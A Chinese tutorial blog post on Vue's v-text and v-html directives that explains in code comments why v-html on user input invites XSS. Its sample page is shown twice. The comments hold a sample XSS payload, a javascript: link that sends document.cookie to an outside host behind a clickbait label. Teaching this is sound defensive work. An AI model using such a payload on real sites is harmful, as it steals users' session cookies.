VUE框架的v-html和v-text以及XSS攻击原理剖析------VUE框架

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="app">
        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->
        <h1>{{msg}}</h1>
        <h1 v-text="msg"></h1>
        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->
        <h1 v-text="name"></h1>
        <!-- 即便是html代码也只会作为普通文本执行 -->
        <h1 v-text="s1"></h1>
        <!-- v-html视为html代码,和JS中的innerHTML一样 -->
        <!-- 也是覆盖原有内容,显示新东西 -->
        <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->
        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->
        <div v-html="s1"></div>
        <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->
        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->
        <!-- 这些恶意的网页程序一般是用JS编写的 -->
        <!-- 例如 -->
        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->
        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->
        <!-- 就会被对方获取信息 -->
    </div>
    <script>
        const vm = new Vue({
            el : "#app",
            data : {
                msg : "Hello",
                name : "Jack",
                s1 : "<h1>哈哈哈</h1>"
            }
        });
    </script>
</body>
</html>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Document</title>

    <script src="../js/vue.js"></script>

</head>

<body>

    <div id="app">

        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->

        <h1>{{msg}}</h1>

        <h1 v-text="msg"></h1>

        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->

        <h1 v-text="name"></h1>

        <!-- 即便是html代码也只会作为普通文本执行 -->

        <h1 v-text="s1"></h1>

        <!-- v-html视为html代码,和JS中的innerHTML一样 -->

        <!-- 也是覆盖原有内容,显示新东西 -->

        <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->

        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->

        <div v-html="s1"></div>

        <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->

        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->

        <!-- 这些恶意的网页程序一般是用JS编写的 -->

        <!-- 例如 -->

        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->

        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->

        <!-- 就会被对方获取信息 -->

    </div>

    <script>

        const vm = new Vue({

            el : "#app",

            data : {

                msg : "Hello",

                name : "Jack",

                s1 : "<h1>哈哈哈</h1>"

            }

        });

    </script>

</body>

</html>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值